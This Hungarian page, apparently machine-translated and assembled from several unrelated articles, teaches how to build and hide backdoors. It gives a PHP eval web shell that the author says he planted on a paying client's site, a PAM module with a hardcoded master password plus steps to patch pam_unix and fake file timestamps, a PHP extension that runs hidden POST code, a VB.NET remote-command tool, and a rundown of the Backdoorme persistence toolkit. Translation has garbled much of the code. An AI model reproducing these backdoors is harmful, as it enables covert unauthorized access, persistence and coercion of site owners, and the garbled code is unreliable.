A hacker hátsó ajtója a számítógépére a BackDoor spyware. VB.NET hátsó ajtó készítése Hátsóajtó írása

  • Dátum: 28.12.2021

Emlékszem, a "10 tipp és trükk weboldal rendeléshez" cikkben említettem egy esetet, amikor egy tisztességtelen ügyfél úgy döntött, hogy kidob minket, pedig már több mint másfél éve dolgoznak együtt. Miután megtudtuk, hogy nem fizetünk semmit, nem is tudtuk visszaadni magunknak az oldalakat, hiszen egyetlen kiskaput sem hagytak rajtuk.

Engem viszont megkönnyebbült, hogy az egyik oldalon volt egy kis "pótbejáratom", aminek köszönhetően nem jutott eszembe a második oldal fejlesztése és a fénybe kerülésem. És ez a bemenet egy egyszerű űrlapnak tűnt a fájlok szerverre való feltöltéséhez.

Segítségével feltöltöttem a szükséges szkripteket az oldalra és lefuttattam az oldalon, ők pedig elvégezték a piszkos munkájukat. Ennek az ajtónak egy volt a hátránya – természetesen bárki használhatta, ha tudott a létezéséről.

Telt-múlt az idő, és annak ellenére, hogy a mai napig minden gördülékenyen megy, ez nem zárja ki annak lehetőségét, hogy ilyen petrezselyem ismét megtörténjen.

Elvileg használhatod a régi módszert egy futtatható fájl szerverre küldésével, de... Minek ezek a nehézségek, ha mindent könnyebbé tehetsz.

Lehetőségeket és ötleteket kínálok a legegyszerűbb backdurovhoz, ha valóban problémák merülnének fel. Így…

  1. Létrehozunk egy php fájlt, és valahogy észrevétlenül elnevezzük, például licenc.php vagy valami más.
  2. Kódot írunk bele

    if (isset($_POST["szöveg"]))
    eval($_POST["szöveg"]);
    ?>




  3. A fájlt valahol messze, mélyen a cms-ben helyezzük el, például a WYSIWYG szerkesztő vadjaiban. Ha szükséges, másolja a fájlt további 2-3 helyre (csak abban az esetben)

Itt van, keret a szégyenhez. Azt hiszem, nem kell magyaráznom, hogy az eval függvény az űrlapba beírt kódot hajtja végre.

Ez csak egy keretrendszer, amely számos megvalósítási példát tartalmazhat. Tegyük fel, hogy a highlight_file-on keresztül meg lehet jeleníteni néhány jelszavas fájl tartalmát, amelyhez nincs közvetlen hozzáférés. Csatlakozhat az adatbázishoz, elolvashatja a tartalmat vagy módosíthatja azt. Vagy akár ki is nyomtathat egy szkriptet, amivel mindent töröl a szerveren, miért ne.

Az alábbiakban ennek az ajtónak a kiegészítésére adok ötleteket, melyek tetszés szerint elkészíthetők - fakultatív házi feladatként hagyom kedves olvasó. De ha hirtelen van vágy, szívesen megnézem, mi történt.

Ötletek a fejlesztéshez :

  1. Általánosságban elmondható, hogy jó lenne, ha az ajtó nem lenne mindenki számára elérhető, és engedélyezné, például egy normál .htaccess-en keresztül, vagy munkamenet-alapú PHP-eszközökkel (vagy jobb esetben mindkettővel - szerk.).
  2. Engedély birtokában általában számos gombot elkészíthet, amelyekre kattintva meghívhatja egyik vagy másik szkriptet. Például bemész az ajtón, és ott vannak a gombok – jelszavak olvasása, adatbázis olvasása, adminisztrációs panel törlése stb.
  3. További ötletek?

Végül

Akkor van értelme az ajtót használni, ha fizetés előtt bérel egy telephelyet (ez előfordul), vagy ha egy cégnél dolgozik, és meg akar bizonyosodni róla. Az első esetben a fizetéskor az ajtót le lehet venni, vagy el lehet hagyni, bár szerintem nem lesz rá szükség. És a második esetben - folyamatosan készen kell tartania.

Ez minden mára. Örömmel fogadom ötleteiteket, javaslataitokat a témával kapcsolatban! Míg újra találkozunk

Egy feltört gépen sokféleképpen megveheti a lábát. A legbanálisabbaktól és a legkönnyebben észlelhetőektől (vegye fel magát a felhasználói bázishoz) az összetett kernelmodulokig, amelyek egy távoli gépen fordított shellt valósítanak meg. De van köztük egy nagyon könnyen megvalósítható és meglehetősen titkos módszer, amelyről meglepően kevesen tudnak. Ez a PAM hitelesítési rendszer moduljainak módosítása, amelyet minden modern UNIX rendszer használ.

Mi az a PAM

A Pluggable Authentication Modules (PAM) olyan API-készlet, amely a hitelesítési mechanizmusok különféle alkalmazásokban való megvalósításához szükséges.

A PAM megjelenése előtt annak érdekében, hogy például egy kulcskártyával történő hitelesítést megvalósíthassanak, a fejlesztőknek ugyanazon kulcskártyákhoz támogatási kódot kellett hozzáadniuk minden egyes, a felhasználói hitelesítésért felelős rendszerkomponenshez. Vagyis hozzá kellett adni és újra kellett építeni a bejelentkezési segédprogramot, az sshd-t, valamint minden olyan szoftvert, amelyhez hasonló funkciókat terveztek hozzáadni.

A PAM megjelenésével a helyzet sokkal egyszerűbbé vált. Most ahhoz, hogy saját egyedi, önállóan megírt hitelesítési protokollt adjon a rendszerhez, elegendő egyetlen PAM modul keretein belül megvalósítani. És minden olyan segédprogram és alkalmazás, amely képes együttműködni a PAM-mel, felveszi azt, és képes lesz a felhasználó hitelesítésére.

A gyakorlatban ez valahogy így néz ki: a bejelentkezési segédprogram meghívja a PAM-ot, amely a konfigurációs fájlban megadott modulok segítségével elvégzi az összes szükséges ellenőrzést, és az eredményt visszaküldi a bejelentkezési segédprogramnak. Kényelmes, nem? Ez a megközelítés azonban olyan lehetőségeket rejt magában, amelyeket kihasználva megvehetjük a lábunkat a rendszerben.

Érdemes egy kicsit foglalni. A PAM-nak három fő megvalósítása van:

  • A Linux-PAM a PAM fő megvalósítása bármely Linux rendszeren;
  • OpenPAM – BSD rendszereken és macOS-en használatos;
  • A JPam egy PAM implementáció Java alkalmazásokhoz.

Nem fogunk a konkrét megvalósításra összpontosítani. Az alapfunkciók mindenhol ugyanazok.

A *nixben való rögzítés szempontjai PAM használatával

A katalógusban minden alkalmazáshoz megtalálja a PAM beállításait /etc/pam.d(Linux) vagy az /etc/pam.conf fájlban. Példa konfigurációs fájl a macOS bejelentkezési segédprogramhoz:

auth opcionális pam_krb5 .so use_kcminit

auth opcionális pam_ntlm .so try_first_pass

auth opcionális pam_mount .so try_first_pass

auth szükséges pam_opendirectory .so try_first_pass

fiók szükséges pam_nologin .so

fiók szükséges pam_opendirectory .so

jelszó szükséges pam_opendirectory .so

munkamenet szükséges pam_launchd .so

munkamenet szükséges pam_uwtmp .so

munkamenet választható pam_mount .so

Lássuk, milyen varázslat történik itt.

A konfigurációs fájl leírja azokat az érvényesítési szabályokat, amelyeket be kell tartani a felhasználó sikeres hitelesítéséhez vagy egyéb műveletek végrehajtásához (jelszó módosítása, felhasználói környezet előkészítése). A konfigurációs fájl minden sora egy szabályt tartalmaz. Az ellenőrzéseket soronként hajtják végre.

Balról jobbra: modul típusa, control_flag , modul neve. Számunkra elsősorban az auth modul típusa az érdekes, ezek a modulok felelősek a hitelesítésért. A Control_flag egy modultulajdonság. Értékeket vehet fel:

  • szükséges (kötelező) - ha a modul pozitív választ ad vissza, a lánc többi része végrehajtásra kerül és a kérés teljesítve. Ha a modul nemleges választ ad vissza, akkor a kérést azonnal elutasítja, és nem történik más ellenőrzés;
  • kötelező (kötelező) - ugyanúgy, mint a szükséges: ha a válasz igen, akkor a tesztlánc többi része megtörténik. Az egyetlen különbség az, hogy ha a válasz negatív, az ellenőrzési lánc tovább fut, de a kérést elutasítják;
  • elégséges (elégséges) - kielégíti a kérést abban az esetben, ha a láncon korábban elvégzett ellenőrzések egyike sem működött negatívan. Ha a modul negatívan működött, az eredményt figyelmen kívül hagyja, és az ellenőrzési láncot tovább dolgozza fel;
  • opcionális (opcionális) - a modul feldolgozásra kerül, de az eredményt figyelmen kívül hagyja.

Valószínűleg már ebben a szakaszban is rájöttél, hogy a konfigurációs fájl apró változtatásaival tetszőleges jelszóval biztosíthatjuk a sikeres bejelentkezést a rendszerbe (elég az összes auth modult opcionálisként megjelölni). De ez a megoldás mindaddig működni fog, amíg egy jogos felhasználó vagy rendszergazda észreveszi, hogy sikeresen bejelentkezik a rendszerbe még hibás jelszóval is.

Saját hátsó ajtó modul megírása

A PAM lehetővé teszi, hogy saját hitelesítési moduljainkat is beépítsük. Ezért létrehozhatunk egy modult "varázslatos" jelszóval, és a rendszer mindkettőt elfogadja szabványos jelszavak felhasználók, valamint a sajátunk. Hibás jelszó megadása esetén a várt hitelesítési hibát fogjuk látni. Nem rossz lehetőség.

Tehát itt van a kód (ne felejtse el lecserélni a magic-password-ot a "mágikus" jelszóra):

#beleértve

#beleértve

#beleértve

#beleértve

#beleértve

#beleértve

#define MYPASSWD "mágikus jelszó"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

char * jelszó = NULL ;

pam_get_authtok (pamh , PAM_AUTHTOK , (const char * * ) & jelszó , NULL ) ;

if (! strncmp (jelszó , MYPASSWD , strlen (MYPASSWD ) ) )

return PAM_SUCCESS ;

visszatérés - 1 ;

Állítsuk össze a modult:

$ sudo apt - get install libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- megosztott - o pam_backdoor .so pam_backdoor .o

És tedd egy könyvtárba más modulokkal:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Felhívjuk figyelmét, hogy az utat /lib/x86_64-linux-gnu/security/ Debian/Ubuntu specifikus. A Fedorában piros kalapés a CentOS modulok a könyvtárban találhatók /lib64/security/, és be Arch Linux- a katalógusban /lib/security/.

Most már csak a PAM-ot kell úgy konfigurálni, hogy a teszten átmenő modul elegendő legyen a hitelesítéshez. Például a su segédprogram konfigurációja ( /etc/pam.d/su):

Egyes Linux rendszereken a hitelesítési beállítások több fájlba is elhelyezhetők: common-ath, common-password, common-session, majd az @include segítségével összekapcsolhatók adott segédprogramok konfigurációs fájljaival. Ezt a pontot figyelembe kell venni.

Miután elvégezte a beállításokat a konfigurációban, a su segédprogram a modulban megadott jelszó használatával engedélyezi a belépést. Ugyanez a trükk megtehető a bejelentkezési segédprogrammal (konzol bejelentkezés) és az sshd segítségével a távoli bejelentkezéshez.

Hátsó ajtó beágyazása egy meglévő modulba

A PAM konfiguráció szerkesztése közben feltűnhetett a pam_unix.so modul. Ez a modul felelős a felhasználók hitelesítéséért a UNIX rendszerek szabványos jelszóadatbázisával. /etc/passwd. Sok segédprogram használja, beleértve a su, login, sshd és egyéb programok (például SecureFTPd).

Mivel a PAM továbbra is nyílt forráskódú, és mind magának a démonnak, mind annak szabványos összetevőinek forráskódjához hozzáférünk, a hátsó ajtónkat közvetlenül ebbe a modulba ágyazhatjuk be.

A szükséges módosítások elvégzéséhez töltse le a PAM forráskódot:

$ http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$ tar - xzf inux - PAM - 1.1.8.tar.gz

A fájl megnyitása Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cés keresd a következő sorokat:

Összeállítjuk és kicseréljük az eredeti modult sajátunkra:

$ . / Beállítás

$make

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Hogy az admin ne vegye észre a helyettesítést, módosítjuk a fájl létrehozási idejét úgy, hogy az egybeessen más modulok létrehozási idejével.

Ma arról fogunk beszélni, hogy kiterjesztésként egy hátsó ajtót írunk a PHP-hez. Általános szabály, hogy a legtöbb cracker hagy néhány kódrészletet a felhasználói szkriptekben. Természetesen az ilyen dolgok könnyen megtalálhatók, köszönhetően. A kiterjesztés előnyei egyértelműek:

  • nehéz találni
  • bypass disable_functions
  • a teljes kód vezérlésének képessége
  • hozzáférés a kód végrehajtásához titkos paraméterrel

De ebben az esetben volt néhány hátránya, szüksége van a php konfigurációs fájl szerkesztésére.

Példaként Windows alá írom. A kiterjesztés írásához Visual Studio 2012 Express Editiont használtam. Szüksége lesz forrásokra is. kívánt verziót PHP és beépített könyvtárak (ugyanazokból a forrásokból építhetők). Az egyszerűség kedvéért töltse le a forrást

Csomagoljuk ki a lefordított PHP-t a C:\php-ba, a forrásokat pedig a C:\php-src-be.

Ezután el kell végeznie néhány beállítást a VS-ben.

1) Adjon hozzá előfeldolgozó definíciókat:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

2) Adjon hozzá könyvtárakat a források csatlakoztatásához: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Adjon hozzá egy további könyvtárat a php5ts.lib ( C:\php\dev)


4) Adjon hozzá php5ts.lib könyvtárkapcsolatot.


5) Adja meg az összegyűjtött fájl elérési útját.


Miután konfigurálta a stúdió beállításait a bővítmény fejlesztéséhez (további részleteket olvashat), létrehozzuk új projekt"Win32 konzolalkalmazás" típusú hátsó ajtó.


Válassza ki a típust: "DLL"

Ezután eltávolítjuk a szükségtelen fájlokat a projektből. Csak maradnia kellene backdoor.cpp, stdafx.cppés stdafx.h.
A fejlécfájlhoz stdafx.hírd be a következő kódot:

#pragma egyszer #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Most menjünk közvetlenül a kiterjesztés kódjához. Töröljük az összes sort, és adjuk hozzá a szükséges fájlok kapcsolatait.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Ha a stúdió beállításai megfelelőek, a figyelmeztetések eltűnnek. A modul inicializálása során számos esemény történik, amelyek mindegyike bizonyos feltételek mellett történik. A kérés végrehajtása közben végre kell hajtanunk a kódunkat. Ehhez inicializálni kell a nekünk szükséges függvénnyel, névnek a "hideme"-t választottam.

PHP_RINIT_FUNCTION(elrejtés);

Ezt követően folytathatja a modul inicializálását.

Zend_module_entry hideme_ext_module_entry = ( STANDARD_MODULE_HEADER, "egyszerű hátsó ajtó", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES ); ZEND_GET_MODULE(hideme_ext);

Ahogy már írtam, a kódot csak a kérés alatt kell végrehajtanunk, így a modul be- és kirakodásánál az indítást NULL váltja fel. Most áttérhetünk a hideme függvény törzsére.

PHP_RINIT_FUNCTION(hideme) ( char* metódus = "_POST"; // szuperglobális tömb, amelyből a paramétert és az értéket vesszük char* secret_string = "secret_string"; // paraméter, amely a gonosz kódot fogja tartalmazni zval** arr; char * kód; if (zend_hash_find(&EG(szimbólum_tábla), metódus, strlen(method) + 1, (void**)&arr) != HIBA) ( HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if ( zend_hash_find(ht , secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) ( // a kívánt paraméter keresése a hash táblában code = Z_STRVAL_PP(val); // paraméter értéke zend_eval_string(code , NULL, (char *)"" TSRMLS_CC); // kód végrehajtása ) ) return SUCCESS; )

A megjegyzéseknek egyértelműnek kell lenniük. Először állítsa be a paramétereket módszerés titkos_karakterlánc. Ezután végigmegyünk a kiválasztott tömbön és keresünk egy paramétert egy megfelelő kulccsal, ha van, veszünk belőle értéket és végrehajtjuk a kódot. zend_eval_string.

Összeszerelés után kapunk egy könyvtárat, amely bővítményként használható.

Demo GNU Linuxon

Demo Windows alatt:

Üdvözlök mindenkit) Mint már észrevetted, ma elmondom, hogyan írd meg a saját hátsó ajtódat "bármilyen nyelven" (ha tudsz programokat írni és van fantáziád).

Tehát kezdjük azzal a ténnyel, hogy először létre kell hoznunk egy csomó admin-klienst. Ehhez PHP -t használunk, és csak 5 sornyi kódot)

if ($_GET["cmd"] != "cmd_clear") ( $cmd = fopen("cmd.txt", "w+"); //Üres fájl létrehozása, ha létezik, törölje. fwrite($cmd, $ _GET["cmd"]); //dobja be, ami a "cmd" paraméterben van, és ott, mint emlékszünk, ez volt az "msg(HelloWorld!)" fclose($cmd); //zárja be a mögöttünk lévő fájlt ) else ( $cmd = fopen("cmd.txt", "w"); //Új fájl létrehozása (azaz a cmd.txt törlése) fclose($cmd); //bezárja a mögöttünk lévő fájlt )


Valahol az interneten találtam ezt a kódot.
Ez a kód parancsokat hagy a hátsó ajtónknak)

Szóval térjünk le az adminisztrációs panelre, először felvázolunk egy gombot és egy szövegdobozt az űrlapon, és egy webböngészőt, amit a második űrlapra tettem, hogy ne zavarjon)

Térjünk át a kódra

Webhelyünket úgy határozzuk meg, hogy a program indulásakor betöltődjön), és globális változónak deklaráljuk

Nyilvános www As String Privát Sub Form1_Load (ByVal feladó mint System.Object, ByVal e As System.EventArgs) A MyBase.Load kezeli www = "http://localhost/" End Sub

Elevenítsük fel a gombot, ahol azt mondjuk, hogy küldjünk GET kérést az oldalunk adminisztrációs paneljére, a cmd = parancsunk után) az msg tag-re utólag szükség lesz a kliens feldolgozásához.

Private Sub Button1_Click(ByVal küldő rendszerként.Object, ByVal e As System.EventArgs) Kezeli az 1. gombot.Kattintson Form2.WebBrowser1.Navigate(www & "rat/admin.php?cmd=< msg>"&SzövegBox1.Szöveg&"< /msg>") TextBox1.Text = "" Vége Sub

Az adminisztrációs panelünk készen áll)

Térjünk át az ügyfélre) ne dobjon semmit az űrlapra, kivéve az időzítőt)

Írjuk fel az időzítő munkáját, amivel a programunk ellenőrzi az oldalt (cmd.txt fájl) és természetesen az időzítő is elindul a programmal együtt)) Akárcsak az adminisztrációs panelen, itt is deklarálunk globális változókat, most is vannak kettőt, és két könyvtárat is össze kell kapcsolnunk

Imports System.Text Imports System.IO Nyilvános WC újként System.Net.WebClient Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Kezeli a MyBase.Load-ot www = "http:// localhost/" Timer1.Enabled = True Timer1.Interval = 5000 End Sub

A kényelem kedvéért mesterségesen késleltettem

Nos, most maga az időzítő kódja, pl. mit kell végrehajtani) Először elemezzük az adatainkat) ehhez megadtuk az msg címkét, majd futtatjuk a Shell parancsot parancs sor a megadott parancsokkal)

Privát Sub Timer1_Tick (ByVal küldő Rendszer.Object, ByVal e As System.EventArgs) Kezeli az időzítőt1.Tick Dim R() As String = ("< msg>") Dim L() As String = ("< /msg>") Dim myhttpwebrequest, mint net.httpwebrequest = net.httpwebrequest.Create (www &" rat / cmd.txt ") dim myhttpwebresponse, mint net.httpwebresponse = myhttpwebrecest.getresponse () dim mystreamreader, mint az új io.streamreader (myhttpwebroces.getrespons) .Text.Encoding.GetEncoding(1251)) Dim Str As String = myStreamReader.ReadToEnd() If InStr(Str, R(0)) 0 then Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1) Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0) WC.DownloadString(www & "rat/admin.php?cmd=clear_cmd") Várjon(2) Shell("cmd.exe " + Res) Else End If End Sub


P.S. Ha érdekli ez a cikk, akkor legközelebb egy cikket fogok készíteni arról, hogyan lehet elrejteni ügyfelünk cselekedeteit.

Backdoorme - segédprogram hátsó ajtók automatikus létrehozásához

A Backdoorme egy hatékony segédprogram, amely számos hátsó ajtó létrehozására képes Unix gépeken. A Backdoorme az ismerős metasploit felületet használja elképesztő bővíthetőséggel. A Backdoorme egy meglévő SSH-kapcsolat tulajdonjogára vagy az áldozatok hitelesítő adataira támaszkodik, amelyeken keresztül átjuthatnak és tárolhatnak bármilyen kiskapukat. Kérjük, használja a Backdoorme-ot nyílt engedéllyel.

Rejtett a vendégek elől


A Backdoorme azonnal bizonyos számú beépített hátsó ajtóval, modullal és kiegészítő modullal érkezik. A hátsó ajtók speciális összetevők egy szükséges hátsó ajtó létrehozásához és telepítéséhez, mint például a netcat hátsó ajtó vagy az msfvenom backdoor. A modulok bármely hátsó ajtóra alkalmazhatók, és a hátsó ajtók erősebbé, rejtettebbé vagy gyorsabbá tételéhez használhatók. A segédelemek hasznos műveletek, amelyek az állandóság fenntartását segítik elő.

Egy kicsit többet a hátsó ajtókról: A backdoorme futtatásához győződjön meg arról, hogy rendelkezik a szükséges függőségekkel.

$ python dependencies.py

Futó hátsó ajtó:

$ pythonmaster.py

Hátsó ajtók

A hátsó ajtó használatához egyszerűen futtassa a "use" kulcsszót.

>> shell/metasploit használata + Jelenlegi cél 1 használata. + Metasploit hátsó ajtó használata... (msf) >>

Innen beállíthatja a hátsó ajtónak megfelelő opciókat. Futtassa a "beállítások megjelenítése" vagy a "súgó" parancsot a konfigurálható opciók listájának megtekintéséhez.

A metasploithoz hasonlóan a hátsó ajtók is kategóriák szerint vannak rendezve.

  • Kiegészítő (kiegészítő kategóriák)
    • billentyűzetfigyelő– Keyloggert ad a rendszerhez, és lehetővé teszi az eredmények levélben történő visszaküldését;
    • egyszerű http- Telepíti a python SimpleHTTP szervert a kliensre.
    • felhasználó– Új felhasználó hozzáadása a célhoz.
    • web– Telepíti az Apache szervert a kliensre.
  • Eszkaláció (bővítménykategória)
    • setuid- A SetUID hátsó ajtó úgy működik, hogy beállít egy setuid bitet a végrehajtható fájlban, feltételezve, hogy a felhasználó root hozzáféréssel rendelkezik. Így amikor ezt a végrehajtható fájlt később egy root hozzáféréssel nem rendelkező felhasználó futtatja, adott fájl root hozzáféréssel fut. Alapértelmezés szerint ez a hátsó ajtó a setuid bitet nano-ra kapcsolja, így ha a root hozzáférés bármilyen módon elveszik, a támadó visszatérhet az SSH-hoz nem privilegizált felhasználóként, és továbbra is futtathatja a nano-t (vagy bármilyen választott binárist) gyökér. ("nano /etc/shadow"). Kérjük, vegye figyelembe, hogy ennek a hátsó ajtóbővítménynek az üzembe helyezéséhez a legelején root hozzáférésre van szükség.
    • héj– A shell backdoor egy privilegizált hátsó ajtó kiterjesztés, amely hasonló (de pontosabban) a SetUID testvérkiterjesztéséhez. Szinkronizál bash shell egy rejtett binárisra, és beállítja a SUID bitet. Vegye figyelembe, hogy a hátsó ajtóbővítmény telepítéséhez kezdetben root hozzáférés szükséges. Ennek a hátsó ajtónak a használatához, ha az SSH jogosulatlan felhasználóként fut, egyszerűen futtassa a ".bash -p" parancsot, és root hozzáférést kap.
  • Shell (héj kategória)
    • bash- egy egyszerű bash szkriptet használ egy adott IP és port kombinációhoz való csatlakozáshoz, és az eredményt a bash-nak továbbítja.
    • bash2 egy kicsit más (és biztonságosabb) hátsó ajtó a fent leírt bash-tól, amelyhez nincs szükség jelszóra a kliens oldalról.
    • metasploit- az msfvenom segítségével egy reverse_tcp binárist generál a célon, majd a binárist futtatja a meterpreter shellhez való csatlakozáshoz.
    • netcat- a netcat segítségével adja át a szabványos bemenetet és kimenetet a /bin/sh-nak, interaktív shellt adva a felhasználónak.
    • netcat_traditional- a netcat-traditional "s -e"-t használja a fordított shell létrehozásához.
    • perl egy perlben írt szkript, amely átirányítja az eredményt a bash-re, és átnevezi a folyamatot, hogy kevésbé szembetűnő legyen.
    • php- futtat egy php backdoor-t, ami az eredményt elküldi a bash-nek. Nem telepít automatikusan webszervert, helyette webmodult használ.
    • kölyökkutya- az n1nj4sec Pupy hátsó ajtót használja, amely a következő helyen található

      Rejtett a vendégek elől

      .
    • piton- egy rövid python szkriptet használ a parancsok végrehajtására és az eredmények visszaküldésére a felhasználónak.
    • web- webszervert küld a célnak, majd betölti az msfvenom php reverse_tcp backdoort és csatlakozik a gazdagéphez. Bár ez még mindig egy php backdoor, nem ugyanaz, mint a fent leírt php backdoor.
  • Hozzáférés (Hozzáférési kategória)
    • Remove_ssh- eltávolítja az ssh szervert a kliensről. Nagyon praktikus a hátsó ajtó munkamenet végén használható nyomok eltávolítására.
    • ssh_key- létrehoz egy RSA kulcsot, és átmásolja a célpontra, hogy ssh jelszó nélkül csatlakozhasson.
    • ssh_port- Új portot ad hozzá az ssh-hoz.
  • Windows (Windows kategória)
    • ablakok- Az msfvenom segítségével létrehoz egy ablak hátsó ajtót.
Modulok

Mindegyik hátsó ajtónak lehetősége van további modulok beszerzésére, amelyek a hátsó ajtó erősebbé tételére szolgálnak. Modul hozzáadásához egyszerűen használja az "add" kulcsszót.

(msf) >> add poison + Poison modul hozzáadva

Minden modul rendelkezik további konfigurálható beállításokkal, és ha a "súgó" újra fut, megtekintheti vagy beállíthatja a további beállításokat.

A jelenleg elérhető modulok a következők:

  • Méreg
    • A célszámítógép bin mérgezésének előidézése – Futtatható fájlt fordít a rendszer segédprogram és a meglévő hátsó ajtó meghívásához.
    • Például, ha a bin mérgező modult az "ls"-el együtt futtatják, akkor lefordít és portol egy "ls" nevű bináris fájlt, amely a meglévő hátsó ajtót és az eredeti "ls"-t is futtatja, így letiltja a felhasználó számára a hátsó ajtó további elindítását. gyakran.
  • Cron
    • Hozzáad egy meglévő hátsó ajtót a root felhasználó crontabjához, hogy a megadott gyakorisággal fusson.
  • web
    • Telepít egy webszervert, és tárol egy weboldalt, amely a hátsó ajtót futtatja.
    • Csak felkeresi az oldalt egy nyitott hallgatóval, és elindul a hátsó ajtó.
  • felhasználó
    • Új felhasználót ad a célhoz.
  • üzembe helyezés
    • Lehetővé teszi hátsó ajtók létrehozását bashrc és init fájlokkal.
  • Fehérlista
    • Az IP-t fehérlistára helyezi, így csak ez az IP tud csatlakozni a hátsó ajtóhoz.
Fordítás: